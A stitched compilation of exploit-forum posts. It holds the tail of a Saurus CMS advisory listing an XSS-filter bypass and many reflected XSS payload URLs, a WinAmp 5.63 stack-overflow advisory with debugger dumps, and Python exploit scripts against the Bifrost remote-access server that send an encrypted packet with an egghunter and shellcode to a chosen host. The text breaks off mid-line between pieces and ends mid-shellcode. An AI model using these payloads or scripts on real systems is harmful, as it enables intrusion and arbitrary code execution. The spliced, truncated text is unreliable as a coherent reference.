------------------------[ source code start ]----------------------------------
if(strstr($_SERVER['REQUEST_URI'], $CMS_SETTINGS['wwwroot'].'/admin/') === false && (
  detect_xss_in_saurus_params($_SERVER['QUERY_STRING']) ||
  detect_xss_in_saurus_params($_SERVER['REQUEST_URI']) ||
  detect_xss_in_string($_SERVER['PHP_SELF']) ||
  detect_xss_in_saurus_params($_POST) ||
  detect_xss_in_saurus_params($_GET))
)
{
  header('Location: '.$CMS_SETTINGS['wwwroot'].'/index.php');
  exit;
}
------------------------[ source code end ]------------------------------------
 
We can see, that XSS detection functions are used against various input parameters
and in case of positive hit redirection to home page follows. There is custom
exclusion in place for administrative scripts and it's implementation is not
secure enough - attacker can use "$CMS_SETTINGS['wwwroot'].'/admin/'" string
in URI and XSS detection will be bypassed.
String for XSS detection bypass is "/saurus471/admin/" in examples below.
  
Test 1:
 
http://localhost/saurus471/kalender.php?month=<script>
 
Result: XSS detected, redirection follows
 
Test 2:
 
http://localhost/saurus471/kalender.php?/saurus471/admin/&month=<script>
 
Result: XSS not detected, no redirection
 
 
###############################################################################
19. Reflected XSS in "kalender.php"
###############################################################################
 
Reason:
 1. improper encoding or escaping of output
Attack vector:
 1. user-supplied parameters "form", "vorm", "form_field", "lahter" and "month"
Preconditions: none
 
 
Php script "kalender.php" line 50:
------------------------[ source code start ]----------------------------------
<script type="text/javascript">
//<!--
// Handle click of OK link 
function handleOK(selected_date) {
  if (opener && !opener.closed) {
    opener.document.<?if(isset($site->fdat['form'])){echo $site->fdat['form'];}
     else{ echo $site->fdat['vorm'];}?>.
     <?if(isset($site->fdat['form_field'])){echo $site->fdat['form_field'];}
     else{ echo $site->fdat['lahter'];}?>.value=selected_date; 
    opener.document.<?if(isset($site->fdat['form'])){echo $site->fdat['form'];}
    else{ echo $site->fdat['vorm'];}?>.
    <?if(isset($site->fdat['form_field'])){echo $site->fdat['form_field'];}
    else{ echo $site->fdat['lahter'];}?>.focus();
..
if($site->fdat['month']>=1&&$site->fdat['month']<=12)
{
  $month = $site->fdat['month'];
..
    defaultDate: new Date(<?=$year;?>, <?=$month;?> - 1, <?=$day;?>),
------------------------[ source code end ]------------------------------------
 
Tests:
 
http://localhost/saurus471/kalender.php?form=</script><script>alert(123);</script>
http://localhost/saurus471/kalender.php?vorm=</script><script>alert(123);</script>
http://localhost/saurus471/kalender.php?form_field=</script><script>alert(123);</script>
http://localhost/saurus471/kalender.php?lahter=</script><script>alert(123);</script>
http://localhost/saurus471/kalender.php?/saurus471/admin/&month=1</script><script>alert(123);</script>
 
Results: 
 
javascript alert boxes pop up, confirming Reflected XSS vulnerabilities.
 
 
###############################################################################
20. Reflected XSS in "editor/kalender.php"
###############################################################################
 
Reason:
 1. improper encoding or escaping of output
Attack vector:
 1. user-supplied parameters "form", "vorm", "form_field", "lahter" and "month"
Preconditions:
 1. must be logged in as user
 
 
Php script "editor/kalender.php" line 50:
------------------------[ source code start ]----------------------------------
<script type="text/javascript">
//<!--
// Handle click of OK link 
function handleOK(selected_date) {
  if (opener && !opener.closed) {
    opener.document.<?if(isset($site->fdat['form'])){echo $site->fdat['form'];}
     else{ echo $site->fdat['vorm'];}?>.
     <?if(isset($site->fdat['form_field'])){echo $site->fdat['form_field'];}
     else{ echo $site->fdat['lahter'];}?>.value=selected_date; 
    opener.document.<?if(isset($site->fdat['form'])){echo $site->fdat['form'];}
    else{ echo $site->fdat['vorm'];}?>.
    <?if(isset($site->fdat['form_field'])){echo $site->fdat['form_field'];}
    else{ echo $site->fdat['lahter'];}?>.focus();
..
if($site->fdat['month']>=1&&$site->fdat['month']<=12)
{
  $month = $site->fdat['month'];
..
    defaultDate: new Date(<?=$year;?>, <?=$month;?> - 1, <?=$day;?>),
------------------------[ source code end ]------------------------------------
 
Tests:
 
http://localhost/saurus471/editor/kalender.php?form=</script><script>alert(123);</script>
http://localhost/saurus471/editor/kalender.php?vorm=</script><script>alert(123);</script>
http://localhost/saurus471/editor/kalender.php?form_field=</script><script>alert(123);</script>
http://localhost/saurus471/editor/kalender.php?lahter=</script><script>alert(123);</script>
http://localhost/saurus471/editor/kalender.php?/saurus471/admin/&month=1</script><script>alert(123);</script>
 
Results: 
 
javascript alert boxes pop up, confirming Reflected XSS vulnerabilities.
 
 
###############################################################################
21. Reflected XSS in "admin/delete_log.php"
###############################################################################
 
Reason:
 1. improper encoding or escaping of output
Attack vector:
 1. user-supplied parameter "tbl"
Preconditions:
 1. logged in as Saurus CMS admin
 
 
Php script "admin/delete_log.php" line 176:
------------------------[ source code start ]----------------------------------
<input type="hidden" name="tbl" value="<?=$site->fdat['tbl']?>">
------------------------[ source code end ]------------------------------------
 
Test:
 
http://localhost/saurus471/admin/delete_log.php?tbl="><script>alert(123);</script>
 
Result: 
 
javascript alert box pops up, confirming Reflected XSS vulnerability.
 
 
###############################################################################
22. Reflected XSS in "admin/edit_adminpage.php"
###############################################################################
 
Reason:
 1. improper encoding or escaping of output
Attack vector:
 1. user-supplied parameters "id" and  "op"
Preconditions:
 1. logged in as Saurus CMS admin
 
 
Tests:
 
http://localhost/saurus471/admin/edit_adminpage.php?id="><script>alert(123);</script>
http://localhost/saurus471/admin/edit_adminpage.php?op="><script>alert(123);</script>
 
Results: 
 
javascript alert boxes pop up, confirming Reflected XSS vulnerabilities.
 
 
###############################################################################
23. Reflected XSS in "admin/edit_group.php"
###############################################################################
 
Reason:
 1. improper encoding or escaping of output
Attack vector:
 1. user-supplied parameter "group_id"
Preconditions:
 1. logged in as Saurus CMS admin
 
 
Tests:
 
http://localhost/saurus471/admin/edit_group.php?op=edit&group_id=1"><script>alert(123);</script>
 
Result: 
 
javascript alert boxes pop up, confirming Reflected XSS vulnerabilities.
 
 
###############################################################################
24. Reflected XSS in "admin/profile_data.php"
###############################################################################
 
Reason:
 1. improper encoding or escaping of output
Attack vector:
 1. user-supplied parameter "profile_id"
Preconditions:
 1. logged in as Saurus CMS admin
 
 
Php script "admin/profile_data.php" line 65:
------------------------[ source code start ]----------------------------------
print "<font color=red><b>Profile '".$site->fdat['profile_id']."' not found!</b></font>";
------------------------[ source code end ]------------------------------------
 
Test:
 
http://localhost/saurus471/admin/profile_data.php?profile_id=<script>alert(123);</script>
 
Result: 
 
javascript alert box pops up, confirming Reflected XSS vulnerability.
 
 
###############################################################################
25. Reflected XSS in "admin/edit_object.php"
###############################################################################
 
Reason:
 1. improper encoding or escaping of output
Attack vector:
 1. user-supplied parameter "profile_id"
Preconditions:
 1. logged in as Saurus CMS admin
 
 
Php script "admin/edit_object.php" line 101:
------------------------[ source code start ]----------------------------------
print "<font color=red><b>Profile '".$profile_id."' not found!</b></font>";
------------------------[ source code end ]------------------------------------
 
Test:
 
http://localhost/saurus471/admin/edit.php?tab=object&op=new&&tyyp_id=20&profile_id=,<script>alert(123);</script>
 
Result: 
 
javascript alert box pops up, confirming Reflected XSS vulnerability.
 
 
###############################################################################
26. Reflected XSS in "admin/edit_profile.php"
###############################################################################
 
Reason:
 1. improper encoding or escaping of output
Attack vector:
 1. user-supplied parameter "pid"
Preconditions:
 1. logged in as Saurus CMS admin
 
 
Php script "admin/edit_profile.php" line 997:
------------------------[ source code start ]----------------------------------
print "<font color=red><b>Profile '".$site->fdat['pid']."' not found!</b></font>";
------------------------[ source code end ]------------------------------------
 
Test:
 
http://localhost/saurus471/admin/edit_profile.php?op=edit&did=1&pid=<script>alert(123);</script>
 
Result: 
 
javascript alert box pops up, confirming Reflected XSS vulnerability.
 
 
###############################################################################
27. Reflected XSS in "admin/profiles.php"
###############################################################################
 
Reason:
 1. improper encoding or escaping of output
Attack vector:
 1. user-supplied parameters "profile_id", "source_table", "did"
Preconditions:
 1. logged in as Saurus CMS admin
 
 
Php script "admin/profiles.php" line 247:
------------------------[ source code start ]----------------------------------
<TD class="scms_dropdown_item"><a href="javascript:void(openpopup
  ('edit_profile.php?op=newdef&pid=<?= $site->fdat['profile_id'] ?>
..
<TD class="scms_dropdown_item"><a href="javascript:void(openpopup
  ('edit_profile.php?op=new&pid=<?= $site->fdat['profile_id']?>
  &source_table=<?= $site->fdat['source_table']?>
..
<TD nowrap><?if($site->fdat['profile_id']){?><a href="javascript:void(openpopup
  ('edit_profile.php?op=edit&pid=<?= $site->fdat['profile_id']?>
  &did=<?= $site->fdat['did']?>'
..
<TD><?if($site->fdat['profile_id']){?><a href="javascript:void(openpopup
  ('edit_profile.php?op=delete&pid=<?= $site->fdat['profile_id']?>
..
<TD><?if($site->fdat['profile_id']){?><a href="javascript:void(openpopup
  ('edit_profile.php?op=duplicate&pid=<?= $site->fdat['profile_id']?>
  &did=<?=$site->fdat['did']?>'
..
<TD><a href="<?= $site->self ?>?profile_id=<?= $site->fdat['profile_id']?>&op=sync"
------------------------[ source code end ]------------------------------------
 
Test:
 
http://localhost/saurus471/admin/profiles.php?profile_id="><script>alert(123);</script>
http://localhost/saurus471/admin/profiles.php?source_table="><script>alert(123);</script>
http://localhost/saurus471/admin/profiles.php?profile_id=z&did="><script>alert(123);</script>
 
Results: 
 
javascript alert boxes popping up, confirming Reflected XSS vulnerability.
 
 
###############################################################################
28. Reflected XSS in "admin/sys_alias.php"
###############################################################################
 
Reason:
 1. improper encoding or escaping of output
Attack vector:
 1. user-supplied parameters "flt_keel" and "keel_id"
Preconditions:
 1. logged in as Saurus CMS admin
 
 
Test:
 
http://localhost/saurus471/admin/sys_alias.php?flt_keel="><script>alert(123);</script>
http://localhost/saurus471/admin/sys_alias.php?keel_id="><script>alert(123);</script>
 
Result: 
 
javascript alert boxes popping up, confirming Reflected XSS vulnerability.
 
 
###############################################################################
29. Reflected XSS in "admin/sys_sonad_loetelu.php"
###############################################################################
 
Reason:
 1. improper encoding or escaping of output
Attack vector:
 1. user-supplied parameters "flt_keel"
Preconditions:
 1. logged in as Saurus CMS admin
 
 
Test:
 
http://localhost/saurus471/admin/sys_sonad_loetelu.php?flt_keel=</script><script>alert(123);</script>
 
Result: 
 
javascript alert box pops up, confirming Reflected XSS vulnerability.
 
 
###############################################################################
30. Reflected XSS in "admin/user_management.php"
###############################################################################
 
Reason:
 1. improper encoding or escaping of output
Attack vector:
 1. all user-supplied parameters (excluding "selected_devices")
Preconditions:
 1. logged in as Saurus CMS admin
 
Php script "admin/user_management.php" line 138:
------------------------[ source code start ]----------------------------------
foreach($site->fdat as $fdat_field=>$fdat_value) { 
  if($fdat_field != 'selected_devices'){
    echo '<input type=hidden id="selectform_'.$fdat_field.'" 
      name="'.$fdat_field.'" value="'.$fdat_value.'">';
  } 
------------------------[ source code end ]------------------------------------
 
Test:
 
http://localhost/saurus471/admin/user_management.php?foobar="><script>alert(123);</script>
 
Result: 
 
javascript alert box pops up, confirming Reflected XSS vulnerability.
 
 
###############################################################################
31. Reflected XSS in "admin/permissions.php"
###############################################################################
 
Reason:
 1. improper encoding or escaping of output
Attack vector:
 1. user-supplied parameters "selected_group", "user_id", "group_id" and "role_id"
Preconditions:
 1. logged in as Saurus CMS admin
 
Php script "admin/permissions.php" line 229:
------------------------[ source code start ]----------------------------------
<input type=hidden id="selectform_selected_group" name="selected_group" 
value="<?=$site->fdat['selected_group']?>">
<input type=hidden id="selectform_user_id" name="user_id" 
value="<?=$site->fdat['user_id']?>">
<input type=hidden id="selectform_group_id" name="group_id" 
value="<?=$site->fdat['group_id']?>">
------------------------[ source code end ]------------------------------------
 
Test:
 
http://localhost/saurus471/admin/permissions.php?selected_group="><script>alert(123);</script>
http://localhost/saurus471/admin/permissions.php?user_id="><script>alert(123);</script>
http://localhost/saurus471/admin/permissions.php?group_id="><script>alert(123);</script>
http://localhost/saurus471/admin/permissions.php?role_id="><script>alert(123);</script>
 
 
Result: 
 
javascript alert boxes popping up, confirming Reflected XSS vulnerability.
 
 
###############################################################################
32. Reflected XSS in "admin/file_source.php"
###############################################################################
 
Reason:
 1. improper encoding or escaping of output
Attack vector:
 1. user-supplied GET parameter "selected_group"
Preconditions:
 1. logged in as Saurus CMS admin
 
Php script "admin/file_source.php" line 47:
------------------------[ source code start ]----------------------------------
$callback = (string)$_GET['callback'];
..
<?=$callback;?>("<?=str_replace(array('"', "\n", "\r"),
    array('\"', '\n', '\r'), $fcontent);?>");
------------------------[ source code end ]------------------------------------
 
Test (parameter "file" must be valid):
 
http://localhost/saurus471/admin/file_source.php?file=public/test.php&callback=alert(123);//
 
Result: 
 
javascript alert box pops up, confirming Reflected XSS vulnerability.
 
 
###############################################################################
33. Reflected XSS in "admin/change_config.php"
###############################################################################
 
Reason:
 1. improper encoding or escaping of output
Attack vector:
 1. user-supplied parameter "flt_keel" and "group"
Preconditions:
 1. logged in as Saurus CMS admin
 
 
Php script "admin/change_config.php" line 1220:
------------------------[ source code start ]----------------------------------
<input type=hidden name=flt_keel value="<?=$site->fdat['flt_keel']?>">
..
<input type="hidden" name="group" value="<?=$site->fdat['group']?>">
------------------------[ source code end ]------------------------------------
 
Test:
 
http://localhost/saurus471/admin/change_config.php?group=1&flt_keel="><script>alert(123);</script>
http://localhost/saurus471/admin/change_config.php?group="><script>alert(123);</script>
 
Result: 
 
javascript alert boxes popping up, confirming Reflected XSS vulnerability.
 
 
###############################################################################
34. Reflected XSS in "admin/forms.php"
###############################################################################
 
Reason:
 1. improper encoding or escaping of output
Attack vector:
 1. user-supplied parameter "form_id"
Preconditions:
 1. logged in as Saurus CMS admin
 
 
Php script "admin/forms.php" line 222:
------------------------[ source code start ]----------------------------------
if($site->fdat['op'] == 'delete' && $site->fdat['form_id']) {
..
  <input type=hidden name=form_id value="<?=$site->fdat['form_id']?>">
------------------------[ source code end ]------------------------------------
 
Test:
 
http://localhost/saurus471/admin/forms.php?op=delete&form_id="><script>alert(123);</script>
 
 
Result: 
 
javascript alert box pops up, confirming Reflected XSS vulnerability.
 
 
###############################################################################
35. Reflected XSS in "admin/lang_file.php"
###############################################################################
 
Reason:
 1. improper encoding or escaping of output
Attack vector:
 1. user-supplied parameter "flt_keel" and "keel_id"
Preconditions:
 1. logged in as Saurus CMS admin
 
 
Php script "admin/lang_file.php" line 204:
------------------------[ source code start ]----------------------------------
$keel_id = isset($site->fdat[flt_keel]) ? $site->fdat[flt_keel] : $site->fdat[keel_id];
..
<input type=hidden name=keel_id value="<?=$keel_id ?>">
------------------------[ source code end ]------------------------------------
 
Test:
 
http://localhost/saurus471/admin/lang_file.php?op=import&flt_keel="><script>alert(123);</script>
http://localhost/saurus471/admin/lang_file.php?op=import&keel_id="><script>alert(123);</script>
 
 
Result: 
 
javascript alert boxes popping up, confirming Reflected XSS vulnerability.
 
 
###############################################################################
36. Reflected XSS in "admin/select_group.php"
###############################################################################
 
Reason:
 1. improper encoding or escaping of output
Attack vector:
 1. all user-supplied parameters (excluding "selected_devices")
Preconditions:
 1. logged in as Saurus CMS admin
 
 
Php script "admin/select_group.php" line 442:
------------------------[ source code start ]----------------------------------
foreach($site->fdat as $fdat_field=>$fdat_value) { 
  if($fdat_field != 'selected_devices'){
    echo '<input type=hidden id="selectform_'.$fdat_field.'" 
    name="'.$fdat_field.'" value="'.$fdat_value.'">
------------------------[ source code end ]------------------------------------
 
Test:
 
http://localhost/saurus471/admin/select_group.php?foobar="><script>alert(123);</script>
 
Result: 
 
javascript alert box pops up, confirming Reflected XSS vulnerability.
 
 
###############################################################################
37. HTTP Response Splitting  and insecure redirection in "redirect.php"
###############################################################################
 
Reason:
 1. insufficient sanitization of user-supplied data
Attack vector:
 1. user-supplied GET parameter "url"
Preconditions:
 1. php version < 4.4.2 or < 5.1.2
 
 
Php script "redirect.php" line 100:
------------------------[ source code start ]----------------------------------
if($_GET['url'])[br /
WinAmp 5.63
ID: 67686ba3b4103b69df379d60
Thread ID: 24378
Created: 2013-07-04T09:13:30+0000
Last Post: 2013-07-06T20:45:27+0000
Author: DarckSol
Prefix: DoS
Replies: 1 Views: 1K

1. ADVISORY INFORMATION
-----------------------
Product: WinAmp
Vendor URL: www.winamp.com
Type: Stack-based Buffer Overflow [CWE-121]
Date found: 2013-06-05
Date published: 2013-07-01
CVSSv2 Score: Bug #1: 7,5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
Bug #2: 3,7 (AV:L/AC:H/Au:N/C:P/I:P/A:P)
CVE: CVE-2013-4694

2. CREDITS
----------
These vulnerabilities were discovered and researched by Julien Ahrens
from Inshell Security.

3. VERSIONS AFFECTED
--------------------
WinAmp v5.63, older versions may be affected too.

4. VULNERABILITY DESCRIPTION (BUG #1)
-------------------------------------
The application loads the directories in %PROGRAMFILES%\WinAmp\Skins on
startup to determine the skins that have been installed and to list them
in the application menu point "Skins" and in the Skins Browser. But the
application does not properly validate the length of the directory name
before passing it as argument to a lstrcpynW call in the library
gen_jumpex.dll, which leads to a buffer overflow condition with possible
code execution.

This flaw is also exploitable via the %APPDATA%\WinAmp\winamp.ini. The
application loads the contents on startup, but does not properly
validate the length of the string loaded from the "skin" key before
passing it as an argument to the same lstrcpynW call in the library
gen_jumpex.dll, which leads to the same buffer overflow condition.

An attacker either needs to trick the victim to download and apply an
arbitrary skin package in order to exploit the vulnerability or to copy
an arbitrary winamp.ini into the %APPDATA%\WinAmp directory. Successful
exploits can allow attackers to execute arbitrary code with the
privileges of the user running the application. Failed exploits will
result in a denial-of-service condition.

4. VULNERABILITY DESCRIPTION (BUG #2)
-------------------------------------
The application loads the string of the GUI "Search" field from the
"WinAmp Library" when entered by a user and after switching to another
menu point, but does not properly validate the length of the string
before passing it as an argument to a GetDlgItemTextW call in the
library ml_local.dll, which leads to a buffer overflow condition with
possible code execution.

An attacker needs local access to the client in order to exploit the
vulnerability. Successful exploits can allow attackers to execute
arbitrary code with the privileges of the user running the application.
Failed exploits will result in a denial-of-service condition.

5. PROOF-OF-CONCEPT (DEBUG) (Bug #1)
------------------------------------
Registers:
EAX 3B3C08EB
ECX 7C80BAFC kernel32.7C80BAFC
EDX 00430010 winamp.00430010
EBX 0000007E
ESP 00C1F290 UNICODE "CCCCCCCCCCCCCCCCCCCCCCCCCCCC"
EBP 00430043 winamp.00430043
ESI 001961E8
EDI 0000060B
EIP 00430060 winamp.00430060
C 0 ES 0023 32bit 0(FFFFFFFF)
P 1 CS 001B 32bit 0(FFFFFFFF)
A 0 SS 0023 32bit 0(FFFFFFFF)
Z 1 DS 0023 32bit 0(FFFFFFFF)
S 0 FS 003B 32bit 7FFDE000(FFF)
T 0 GS 0000 NULL
D 0
O 0 LastErr ERROR_INVALID_WINDOW_HANDLE (00000578)
EFL 00010246 (NO,NB,E,BE,NS,PE,GE,LE)
ST0 empty +NaN
ST1 empty
ST2 empty
ST3 empty
ST4 empty
ST5 empty
ST6 empty
ST7 empty
3 2 1 0 E S P U O Z D I
FST 0120 Cond 0 0 0 1 Err 0 0 1 0 0 0 0 0 (LT)
FCW 027F Prec NEAR,53 Mask 1 1 1 1 1 1

Stackview:
ESP-20 > 00430043 CC winamp.00430043
ESP-1C > 0043004B KC winamp.0043004B
ESP-18 > 7C80BAFC kernel32.7C80BAFC
ESP-14 > 00430043 CC winamp.00430043
ESP-10 > 00430043 CC winamp.00430043
ESP-C > 00430043 CC winamp.00430043
ESP-8 > 00430043 CC winamp.00430043
ESP-4 > 00430043 CC winamp.00430043
ESP ==> > 00430043 CC winamp.00430043
ESP+4 > 00430043 CC winamp.00430043
ESP+8 > 00430043 CC winamp.00430043
ESP+C > 00430043 CC winamp.00430043
ESP+10 > 00430043 CC winamp.00430043
ESP+14 > 00430043 CC winamp.00430043
ESP+18 > 00430043 CC winamp.00430043
ESP+1C > 00430043 CC winamp.00430043
ESP+20 > 00430043 CC winamp.00430043

Vulnerable code part:
.text:1001A5B8 push eax ; lpString2
.text:1001A5B9 lea eax, [ebp+String1]
.text:1001A5BF push eax ; lpString1
.text:1001A5C0 call ds:lstrcpynW
.text:1001A5C6 cmp word ptr [ebp+wParam], si
.text:1001A5CD jnz short loc_1001A5E2
.text:1001A5CF mov dword_100310B4, 1
.text:1001A5D9 cmp [ebp+String1], si
.text:1001A5E0 jz short loc_1001A5E8
.text:1001A5E2
.text:1001A5E2 loc_1001A5E2: ; CODE XREF:
sub_1001A551+7Cj
.text:1001A5E2 mov dword_100310B4, esi
.text:1001A5E8
.text:1001A5E8 loc_1001A5E8: ; CODE XREF:
sub_1001A551+8Fj
.text:1001A5E8 pop esi
.text:1001A5E9 leave
.text:1001A5EA retn
.text:1001A5EA sub_1001A551 endp

5. PROOF-OF-CONCEPT (DEBUG) (Bug #2)
------------------------------------
Registers:
EAX 00000000
ECX 079A9D68 ml_local.079A9D68
EDX 00380608
EBX 00000000
ESP 00C1E46C UNICODE "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC"
EBP 00430043 winamp.00430043
ESI 00000000
EDI 00000000
EIP 00430043 winamp.00430043
C 0 ES 0023 32bit 0(FFFFFFFF)
P 1 CS 001B 32bit 0(FFFFFFFF)
A 0 SS 0023 32bit 0(FFFFFFFF)
Z 1 DS 0023 32bit 0(FFFFFFFF)
S 0 FS 003B 32bit 7FFDE000(FFF)
T 0 GS 0000 NULL
D 0
O 0 LastErr ERROR_INVALID_WINDOW_HANDLE (00000578)
EFL 00010246 (NO,NB,E,BE,NS,PE,GE,LE)
ST0 empty
ST1 empty
ST2 empty
ST3 empty
ST4 empty
ST5 empty
ST6 empty
ST7 empty
3 2 1 0 E S P U O Z D I
FST 0000 Cond 0 0 0 0 Err 0 0 0 0 0 0 0 0 (GT)
FCW 027F Prec NEAR,53 Mask 1 1 1 1 1 1

Stackview:
ESP-20 > 00430043 CC winamp.00430043
ESP-1C > 00430043 CC winamp.00430043
ESP-18 > 00430043 CC winamp.00430043
ESP-14 > 00430043 CC winamp.00430043
ESP-10 > 00430043 CC winamp.00430043
ESP-C > 00430043 CC winamp.00430043
ESP-8 > 00430043 CC winamp.00430043
ESP-4 > 00430043 CC winamp.00430043
ESP ==> > 00430043 CC winamp.00430043
ESP+4 > 00430043 CC winamp.00430043
ESP+8 > 00430043 CC winamp.00430043
ESP+C > 00430043 CC winamp.00430043
ESP+10 > 00430043 CC winamp.00430043
ESP+14 > 00430043 CC winamp.00430043
ESP+18 > 00430043 CC winamp.00430043
ESP+1C > 00430043 CC winamp.00430043
ESP+20 > 00430043 CC winamp.00430043

Vulnerable code part:
.text:07990871 lea eax, [ebp+WideCharStr]
.text:07990877 push eax ; lpString
.text:07990878 push 3EEh ; nIDDlgItem
.text:0799087D push [ebp+hDlg] ; hDlg
.text:07990880 call ds:GetDlgItemTextW
.text:07990886 lea eax, [ebp+WideCharStr]
[...]
.text:0799097C mov dword_79A9D68, eax
.text:07990981 mov dword_79A9D70, eax
.text:07990986 mov dword_79A9D6C, eax
.text:0799098B mov dword_79ACB54, eax
.text:07990990 pop ebx
.text:07990991 leave
.text:07990992 retn

6. SOLUTION
-----------
Update to latest version v5.64 or newer.

7. REPORT TIMELINE
------------------
2013-06-05: Discovery of the vulnerability
2013-06-06: Vendor acknowledgement of the issue
2013-06-11: Vendor already fixed this issue in v5.7 Beta build 3403
2013-06-12: Confirmation that the issue is fixed
2013-06-19: Vendor releases v5.64 which includes the fix
2013-07-01: Coordinated Disclosure

8. REFERENCES
-------------
http://security.inshell.net
http://forums.winamp.com/showthread.php?t=364291

Click to expand...

Источник:http://1337day.com/exploit/20964

Bifrost 1.2.1 and Bifrost 1.2d
ID: 67686ba3b4103b69df379d61
Thread ID: 24364
Created: 2013-07-02T06:53:39+0000
Last Post: 2013-07-02T06:53:39+0000
Author: DarckSol
Prefix: Remote
Replies: 0 Views: 1K

Bifrost 1.2.1

Code:Copy to clipboard

#!/usr/bin/python2.7
#By : Mohamed Clay
import socket
from time import sleep
from itertools import izip, cycle
import base64
import sys
  
def rc4crypt(data, key):
    x = 0
    box = range(256)
    for i in range(256):
        x = (x + box[i] + ord(key[i % len(key)])) % 256
        box[i], box[x] = box[x], box[i]
    x = 0
    y = 0
    out = []
    for char in data:
        x = (x + 1) % 256
        y = (y + box[x]) % 256
        box[x], box[y] = box[y], box[x]
        out.append(chr(ord(char) ^ box[(box[x] + box[y]) % 256]))
      
    return ''.join(out)
  
def bif_len(s):
    while len(s)<8:
         s=s+"00"
    return s
  
def header(s):
      a=(s[0]+s[1]).decode("hex")
      a+=(s[2]+s[3]).decode("hex")
      a+=(s[4]+s[5]).decode("hex")
      a+=(s[5]+s[6]).decode("hex")
      return a
  
def random():    
    a=""
    for i in range(0,8):
        a+="A"*1000+"|"
    return a
  
def usage():
  
   print "\n\n\t***************************"
   print "\t*    By : Mohamed Clay    *"
   print "\t*  Bifrost 1.2.1 Exploit  *"
   print "\t***************************\n"
   print "\t  Usage : ./bifrost1.2.1 host port"
   print "\tExample : ./bifrost1.2.1 192.168.1.10 81\n\n"
  
  
if len(sys.argv)!=3:
    usage()
    exit()
  
HOST=sys.argv[1]
PORT=int(sys.argv[2])
  
key="\xA3\x78\x26\x35\x57\x32\x2D\x60\xB4\x3C\x2A\x5E\x33\x34\x72\x00"
  
xor="\xB2\x9C\x51\xBB" # we need this in order to bypass 0046A03E function
eip="\x53\x93\x3A\x7E" # jmp esp User32.dll
  
egghunter = "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8\x77\x30\x30\x74\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7";
  
#calc.exe shellcode (badchars "\x00")
  
buf ="\xb8\x75\xd3\x5c\x87\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9"
buf +="\xb1\x33\x31\x43\x12\x83\xeb\xfc\x03\x36\xdd\xbe\x72\x44"
buf +="\x09\xb7\x7d\xb4\xca\xa8\xf4\x51\xfb\xfa\x63\x12\xae\xca"
buf +="\xe0\x76\x43\xa0\xa5\x62\xd0\xc4\x61\x85\x51\x62\x54\xa8"
buf +="\x62\x42\x58\x66\xa0\xc4\x24\x74\xf5\x26\x14\xb7\x08\x26"
buf +="\x51\xa5\xe3\x7a\x0a\xa2\x56\x6b\x3f\xf6\x6a\x8a\xef\x7d"
buf +="\xd2\xf4\x8a\x41\xa7\x4e\x94\x91\x18\xc4\xde\x09\x12\x82"
buf +="\xfe\x28\xf7\xd0\xc3\x63\x7c\x22\xb7\x72\x54\x7a\x38\x45"
buf +="\x98\xd1\x07\x6a\x15\x2b\x4f\x4c\xc6\x5e\xbb\xaf\x7b\x59"
buf +="\x78\xd2\xa7\xec\x9d\x74\x23\x56\x46\x85\xe0\x01\x0d\x89"
buf +="\x4d\x45\x49\x8d\x50\x8a\xe1\xa9\xd9\x2d\x26\x38\x99\x09"
buf +="\xe2\x61\x79\x33\xb3\xcf\x2c\x4c\xa3\xb7\x91\xe8\xaf\x55"
buf +="\xc5\x8b\xed\x33\x18\x19\x88\x7a\x1a\x21\x93\x2c\x73\x10"
buf +="\x18\xa3\x04\xad\xcb\x80\xfb\xe7\x56\xa0\x93\xa1\x02\xf1"
buf +="\xf9\x51\xf9\x35\x04\xd2\x08\xc5\xf3\xca\x78\xc0\xb8\x4c"
buf +="\x90\xb8\xd1\x38\x96\x6f\xd1\x68\xf5\xee\x41\xf0\xd4\x95"
buf +="\xe1\x93\x28"
  
  
raw=(1000-533-len(egghunter))*"\x90"
raw2=(1000-8-len(buf))*"\x41"+"|"
command=30
  
tmp=hex(command).split("0x")[1]
data=tmp.decode("hex")+"F"*2+" "*511+xor+"C"*8+eip+"A"*12+egghunter+raw+"|"+" "*1000+"|"+"w00tw00t"+buf+raw2+random()
out=rc4crypt(data,key)
l=header(bif_len(str(hex(len(data))).split("0x")[1]))
out=l+out
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.sendall(out)
print "\n[*] By : Mohamed Clay"
print "[*] Exploit completed\n"

Bifrost 1.2d

Code:Copy to clipboard

#!/usr/bin/python2.7
#By : Mohamed Clay
import socket
from time import sleep
from itertools import izip, cycle
import base64
import threading
import sys
  
def rc4crypt(data, key):
    x = 0
    box = range(256)
    for i in range(256):
        x = (x + box[i] + ord(key[i % len(key)])) % 256
        box[i], box[x] = box[x], box[i]
    x = 0
    y = 0
    out = []
    for char in data:
        x = (x + 1) % 256
        y = (y + box[x]) % 256
        box[x], box[y] = box[y], box[x]
        out.append(chr(ord(char) ^ box[(box[x] + box[y]) % 256]))
      
    return ''.join(out)
  
def bif_len(s):
    while len(s)<8:
         s=s+"00"
    return s
  
def header(s):
      a=(s[0]+s[1]).decode("hex")
      a+=(s[2]+s[3]).decode("hex")
      a+=(s[4]+s[5]).decode("hex")
      a+=(s[5]+s[6]).decode("hex")
      return a
  
def random():    
    a=""
    for i in range(0,8):
        a+="A"*1000+"|"
    return a
  
  
def exploit():
    s.sendall(out)
  
def usage():
  
   print "\n\n\t***************************"
   print "\t*    By : Mohamed Clay    *"
   print "\t*  Bifrost 1.2d Exploit  *"
   print "\t***************************\n"
   print "\t  Usage : ./bifrost1.2.1 host port"
   print "\tExample : ./bifrost1.2.1 192.168.1.10 81\n\n"
  
  
if len(sys.argv)!=3:
    usage()
    exit()
  
HOST=sys.argv[1]
PORT=int(sys.argv[2])
  
key="\xA3\x78\x26\x35\x57\x32\x2D\x60\xB4\x3C\x2A\x5E\x33\x34\x72\x00"
  
xor="\xB2\x9C\x51\xBB" # we need this in order to bypass 0046A03E function
eip="\x53\x93\x3A\x7E" # jmp esp User32.dll
  
egghunter = "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8\x77\x30\x30\x74\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7";
  
#calc.exe shellcode (badchars "\x00")
  
buf ="\xb8\x75\xd3\x5c\x87\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9"
